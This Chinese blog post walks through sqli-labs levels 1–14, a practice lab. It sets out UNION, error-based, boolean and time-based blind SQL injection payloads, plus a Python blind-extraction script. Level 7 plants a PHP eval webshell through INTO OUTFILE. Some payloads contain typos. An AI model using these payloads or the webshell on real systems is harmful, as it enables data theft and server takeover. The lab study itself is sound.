Sqli-labs靶场65关详解(一)

news2024/11/15 21:33:43

        前言:目的是通过构造sql语句来窃取数据库数据

一.sqli-labs靶场(1~4)

        1~4使用了union联合查询+字符型注入,要点在于闭合单双引号+括号

要点:union联合查询

  • UNION 操作符用于合并两个或多个 SELECT 语句的结果集
  • UNION 内部的 SELECT语句必须拥有相同数量的列
  • 列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同

order by 判断字段数

1.less1

order by 判断出有三个字段

union 联合查询显错位

 database()拿到数据库名

 这里联合查询报错,csdn得知是查询的表排序规则不同

mysql中Illegal mix of collations for operation “UNION”错误的解决方法_illegal mix of collations for operation 'union-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/wkj001/article/details/123549107

后面查的是information_schema数据库下的table_name字段

前面是什么嘞,通过vscode查看源码发现是security数据库的users表

通过navicat查看得到table_name字段排序规则为

 security的users表username与password字段排序规则为

        更改security的users表username与password字段排序规则与table_name字段排序规则相同

再刷新联合查询web页面,发现就可以了

联合查询使用的代码,id为10是让正常查询无结果,从而显示想要的字段

?id=10' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1 -- qwe

 这里想要拿到不同的表名,更改limit函数范围,从0开始,0是第一个,后面是范围

使用group_cancat函数可以直接拿到多个表名,但是有时会过多显示不全,使用substr函数截取即可

column_name爆破列名,后面加条件 table_name='表名'

2.less2

第二关没有单双引号+括号,数字型注入,不用闭合

判断是否存在注入:?id=1'and1=1-qwe
判断字段数:?id=1'order by 3--qwe
判断显错位:?id=10'union select 1,2,3-- qwe
判断库名:?id=10'union select 1,2,3-- qwe
判断表名:?id=10'union select 1,table_name,3 from information_schema.tables where table_ schema='security'-- qwe
判断列名:?id=10' union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='emails'-- qwe
判断数据:?id=10'union select 1,id,3 from emails-- qwe 

--后加东西是防止注释不生效

3.less3

        第三关使用括号和单引号限制变量,在于如何闭合单引号和括号

直接闭合测试注入点 

发现可以,那前面操作想拿啥就查啥

4.less4

        第四关括号,闭合括号

加了括号就可以了嘛,no no no!!!

看源码

 这里id被拼接了,把单双引号闭合掉就可以了

 二.sqli-labs靶场(5~7)

  5.less5

测试发现有注入点 1=1时正常显示,1=2时无法显示

 order by 4 拿到字段数为三

 union 联合查询发现没有显错位

 这里就有两种方法,一种是盲注,一种是报错注入

  • 报错注入主要利用extractvalue和updatexml两个函数
  • 判断是否存在注入:?id=1'and 1=1--gwe
    判断库名:?id=1 'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- qwe
    判断表名:?id=1 'and updatexml(1,concat(0x7e,(select table_name from information_ schema.tables where table_schema='security' limit 0,1),0x7e),1)-- qwe
    判断列名:?id=1 'and updatexml(1,concat(0x7e,(select column_name from information_ schema.columns where table_schema='security' and table_name='emails' limit0,1),0x7e),1)-- qwe
    判断数据:?id=1'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- qwe
  • 0x7e是~号,目的是让他报错,concat函数是拼接子句

 查什么取决于子句写什么,这里要注意的是and语句的特性,前后都为真才会为真,所以前面不为真,后面可能不会执行,子句也就不会执行,可以用 or ,前面写假.

6.less6 

        第6关依旧是报错注入,盲注是啥不知道,有空再学吧,学不过来了,闭合方式改一下,拼接了双引号

7.less7

         文件上传条件有三个

1.网站具有root权限

2.没有限制文件上传路径

3.拿到物理路径

在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个
into dumpfile()
into outfile()
load file()
union select 1,'<?php eval($ REQUEST[8])?>' into outfile 'c:/phpstudy/www/1.php'
这些都是需要设置secure file priv,如果他为空则可以指定任意目录,如果有设置等于某个路径就只能在这个指定路径下,而他为null时则禁止导入导出功能

写路径是\只用写一个,windows下//得写两个

?id=1'))union select 1,"<?php eval($ REQUEST[1])?>",3 into outfile "
D://phpstudy_pro//www//sqli-labs-master//shell.php"-- qwe

 三.sqli-labs靶场(8~14)

8.less8

套路先and测试注入点,order by 查字段,联合查询判断显错位

这一题我们还是按照之前的步骤,找注入点、找字段数、找显错位,发现这里根本没有显错位,这个时候我们就可以利用盲注的方法去尝试,盲注中会涉及到的函数。
布尔型盲注
length()函数 返回字符串的长度
substr()截取字符串(语法:SUBSTR(strpos,len);)
ascii()返回字符的ascii码[将字符变为数字wei
时间型
sleep()将程序挂起一段时间n为n秒
if(expr1,expr2,expr3)判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

猜解库名长度
'?id=1' and (length(database()))=8-- qwe
利用ASCI码猜解当前数据库名称:
?id=1' and (ascii(substr(database(),1,1)))=115--qwe 返回正常,说明数据库名称第一位是s
?id=1' and (ascii(substr(database(),2,1))=101--qwe 返回正常,说明数据库名称第二位是e
猜表名:
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_ schema=database() limit 0.1).1.1)))=101--awe如果返回正常,说明数据库表名的第一个的第一位是e
猜字段名
and (ascii(substr((select column_name from information schema.columns where table_ name='emails' limit 0,1),1,1)))=105--qwe 如果返回正常,说明emails表中的列名称第一位是i

substr(子句,位数,个数)

在前端页面暴力破解慢,可以使用工具或者写python脚本

python中chr()函数将ascii倒回去

 9.less9

        第9关在检测注入点时发现1=1,与1=2无区别,这就是布尔盲注和时间盲注的区别,布尔一真一假,会返回不同的页面,时间盲注是无论对错都会返回正确的页面.

 

老师给的脚本是

import time

import requests

url = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'

# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         for j in range(32, 129):
#             payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
#             res = {"id": payload}
#             r = requests.get(url, params=res)
#             if "You are in..........." in r.text:
#                 name = name + chr(j)
#                 print(name)
#                 break
#             else:
#                 continue
#
# inject_database(url)

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

布尔盲注利用页面显示正确页面判断猜测正确性,时间盲注利用if函数和sleep函数通过页面时间判断猜测正确性

同样按照盲注的手法,尝试后发现这里无论输入什么条件,回显的结果都是一个,这就证明不能再用刚刚布尔盲注的做法了,要尝试使用时间盲注
猜解库名长度
?id=1'and if (length(database())=8,sleep(5),1)-- qwe
利用ASCI码猜解当前数据库名称:
?id=1' and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- qwe 延时,说明数据库名称第位是s
?id=1' and if ((asci(substr((select table_name from information_schema.tables wheretable_schema=database() limit 0,1),1,1))=101),sleep(5),1)-- qwe 延时,说明数据库名称第二位是e
猜表名:
?id=1' and if ((ascii(substr((select table name from information_schema.tables where table_ schema=database() limit 0,1),1,1))=101),seep(5),1)-- qwe 延时,说明数据库表名的第一个的第位是e猜字段名
?id=1' and if ((ascii(substr((select column_name from information_schema.columns where table_ name='emails' limit 0,1),1,1)=105),sleep(5),1)-- qwe如果返回正常,说明emails表中的列名称第一位是i

10.less10

        第10关和第9关相同,区别在于闭合方式被q拼接了,使用时间盲注+更改闭合

11.less11

         看到十一题首先就能发现,他的传参方式和以往是不同的,这次变成了post传参,但他们的注入方式是差不多的
尝试万能密码:'or1=1-- qwe
判断字段数:'or1=1order by 2-- qwe
判断显错位:'union select1,2-- qwe
判断库名:'union select 1,database()-- qwe
判断表名:?id=10'union select 1,table_name from information_schema.tables where table schema='security' -- qwe
判断列名:?id=10'union select 1,column_name from information_schema.columns where table_ schema='security' and table_name='emails' -- qwe

判断数据:?id=10'union select 1,id from emails-- qwe

万能密码试一试

为什么嘞,前面说过and 与 or的判定机制,1=1显然成立,or有一个成立即可

套路查字段,1=1不能删,否则不会执行子句

 套路union联合查询

像查什么更改子句即可,post比get更方便 

12.less12

        12关的区别在于闭合方式不同

13.less13

         13关显示报错信息,使用报错注入

 updatexml函数包裹子句,更改子句即可得到不同信息

14.less14

        14关闭合方式不同,依然是post的报错注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1992391.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

YARN 的介绍

YARN 的介绍 一、YARN 产生背景1.1 MapReduce 1.0 系统架构 1.2 MapReduce 1.0架构缺陷二、YARN 是什么三、YARN 作用四、YARN 架构五、工作原理六、MapReduce ON YARN 工作流程七、YARN 的容错性八、YARN 的高可用八、YARN 调度器8.1 先进先出调度器8.2 容量调度器8.3 公平调度…

PyTorch深度学习实战(1)——PyTorch安装与配置

本章共有两节&#xff0c;2.1节介绍如何安装PyTorch&#xff0c;以及如何配置学习环境&#xff1b;2.2节带领读者快速浏览PyTorch中的主要内容&#xff0c;帮助读者初步了解PyTorch。 PyTorch是一款以C语言为主导开发的轻量级深度学习框架&#xff0c;它提供了丰富的Python接口…

Redis 大Key排查与优化

Redis 大Key排查与优化 什么是BigKey bigkey简单来说就是存储本身的key值空间太大&#xff0c;或者hash&#xff0c;list&#xff0c;set等存储中value值过多。没有具体的衡量标准。 参考的大小范围&#xff1a; String 类型值大于10KB。Hash、List、Set、Zset类型元素个数…

【Mybatis Plus】Mybatis Plus_快速上手

文章目录 1.Mybatis Plus 简介2.与SpringBoot集成2.1在maven中引入MP依赖2.3 在application.yml中&#xff0c;配置好自己的数据库文件 3. 快速上手 创建实体类entity/User.java3.1创建通用Mapper3.2 使用继承了BaseMapper的Mapper开始编写Crud3.2.1 Insert3.2.2 deleted3.2.3 …

5.1树的基本概念

5.11树的定义 树是n>0的有限集.树适用于有层次结构的数据 只有根节点无前驱 只有叶子节点无后继 有后继的节点为分支节点 除根节点外,任何一个节点都有且只有一个前驱 5.12树的基本术语 祖先节点:从k-->R经过的所有节点 子孙节点:从一个节点出发后下面的所有节点 …

Oracle【plsql编写九九乘法表】

九九乘法表 DECLAREi NUMBER : 1;j NUMBER : 1; BEGINFOR i IN 1 .. 9LOOPFOR j IN 1 .. iLOOPDBMS_OUTPUT.put (i || * || j || || i * j || );END LOOP;DBMS_OUTPUT.put_line ( );END LOOP; END;输出结果

【YashanDB数据库】Ubuntu系统加载Yashan C驱动后无法使用PHP

【问题分类】驱动使用 【关键字】驱动使用、PHP、Ubuntu、C驱动 【问题描述】 客户将YashanDB的C驱动lib加载到环境变量LD_LIBRARY_PATH后&#xff0c;PHP报错&#xff1a;PHP Fatal error&#xff1a;Unable to start pcre module in Unknown on line 0 【问题原因分析】经…

集成学习:融合多个模型

集成学习 是一种机器学习范式&#xff0c;它创建一组模型&#xff0c;并将它们的预测结果结合起来&#xff0c;以期望最终模型能够优于单个模型。集成学习的关键在于如何有效地结合不同的模型。 集成学习算法分为&#xff1a;Bagging&#xff0c;Boosting和Stacking等类型。 B…

关于k8s集群的存储卷

目录 1.emptyDir存储卷 2.hostPath存储卷 3.nfs共享存储卷 容器磁盘上的文件的生命周期是短暂的&#xff0c;这就使得在容器中运行重要应用时会出现一些问题。首先&#xff0c;当容器崩溃时&#xff0c;kubelet 会重启它&#xff0c;但是容器中的文件将丢失——容器以干净的…

大神器! 直接显示中英文期刊的等级, 及该期刊在中国顶级大学的认可度!

今天&#xff0c;推荐一款学术神器——easyScholar&#xff0c;别看这个插件小小的&#xff0c;它的功能非常强大。 它可以显示期刊的影响因子、中科院分区、JCR分区等信息&#xff01; 比如&#xff0c;它可以在知网数据库中显示期刊等级信息。 也能够在万方数据库中显示期刊等…

【Linux WEB】Linux嵌入式WEB服务器(BOA)部署

1. 下载boa源码 进入官网下载http://www.boa.org/news.html&#xff0c;版本为0.94.13 2. 交叉编译boa源码 2.1 解压boa源码压缩包   将下载好的压缩包放入到Ubuntu系统中进行解压 tar -zxvf boa-0.94.13.tar.gz 2.2 生成并配置Makefile文件 &#xff08;1&#xff09;将…

交换机常用的贴片网络变压器,滤波器H5084NL / H82409S

华强盛电子导读千兆交换机&#xff1a; 199/2643/0038 在交换机行业中&#xff0c;常用的贴片网络变压器和滤波器型号会根据具体的应用需求、性能指标、成本考量等因素而有所不同。通常&#xff0c;这些器件需要满足网络通信中的高频传输、阻抗匹配、信号隔离、电磁兼容&…

【C++】vector 的模拟实现

&#x1f4e2;博客主页&#xff1a;https://blog.csdn.net/2301_779549673 &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01; &#x1f4e2;本文由 JohnKi 原创&#xff0c;首发于 CSDN&#x1f649; &#x1f4e2;未来很长&#…

⌈ 传知代码 ⌋ CNN实现脑电信号的情感识别

&#x1f49b;前情提要&#x1f49b; 本文是传知代码平台中的相关前沿知识与技术的分享~ 接下来我们即将进入一个全新的空间&#xff0c;对技术有一个全新的视角~ 本文所涉及所有资源均在传知代码平台可获取 以下的内容一定会让你对AI 赋能时代有一个颠覆性的认识哦&#x…

怎么压缩ppt文件?4个常用的PPT压缩技巧分享!

在当今数字化的工作和学习环境中&#xff0c;PPT已经成为我们表达观点、展示成果的重要工具。然而&#xff0c;有时PPT文件的体积过大&#xff0c;给我们的分享和存储带来了诸多不便&#xff0c;表现在&#xff1a;无端占用宝贵的磁盘空间&#xff0c;接收下载耗费时间长等。 …

KSV1(KSU1)/KSV5(KSU5)-创建分配(分摊)规则/运行分配

将A成本中心费用分摊给B、C两个成本中心&#xff1a; 将B、C两个成本中心建一个成本中心组KSV1-创建分配规则 选择发送方的成本中心&#xff0c;选择接收方的成本中心 给不同成本中心分配比例。 点击保存 点击概览可以看到该条规则&#xff0c;可以在系统中创建多条规则。 K…

优阅达携手 HubSpot 助力出海企业营销、销售和服务自动化

2024 年 6 月 17 - 18 日&#xff0c;GTC 2024 全球流量大会在深圳福田会展中心圆满举办。作为跨境出海行业产业链最全、资源最丰富、规模最大的专业展会之一&#xff0c;本次大会聚集了近 3 万名从业者、超过 200 家海内外优质开发厂商&#xff0c;品牌方、服务商&#xff0c;…

【海贼王航海日志:前端技术探索】CSS你了解多少?(二)

目录 1 -> 字体属性 1.1 -> 设置字体 1.2 -> 字体大小 1.3 -> 字体粗细 1.4 -> 文字样式 2 -> 文本属性 2.1 -> 文本颜色 2.1.1 -> 认识RGB 2.1.2 -> 设置文本颜色 2.2 -> 文本对齐 2.3 -> 文本装饰 2.4 -> 文本缩进 2.5 -&g…

Go开发后端和Vue3开发前端的前后端分离框架中自己手戳一个OA流程审批、工作流引擎给新时代一个漂亮便捷的工作流引擎

前言 在软件项目开发中&#xff0c;我们都会接触到流程审批的需要业务&#xff0c;我们以往用的最多就是如下图这种流程编辑引擎插件&#xff1a; 以上截图中的流程工具是不是大家常见的呀&#xff01;感觉很丑拿不出手呀&#xff01;在当前行业内卷及竞争激烈情况下&#xff…

uniapp免费申请苹果证书教程每次7天可用于测试

准备一个苹果账号没有加入过任何组织的 然后下载appuploader下载链接 登录上去切记勾选上未付苹果688 然后点击苹果证书创建p12证书 创建描述文件 uniapp打包自定义基座 这就打包好了可以愉快地开发了&#xff0c;但每次生成只有7天&#xff0c;设备限制3个&#xff0c…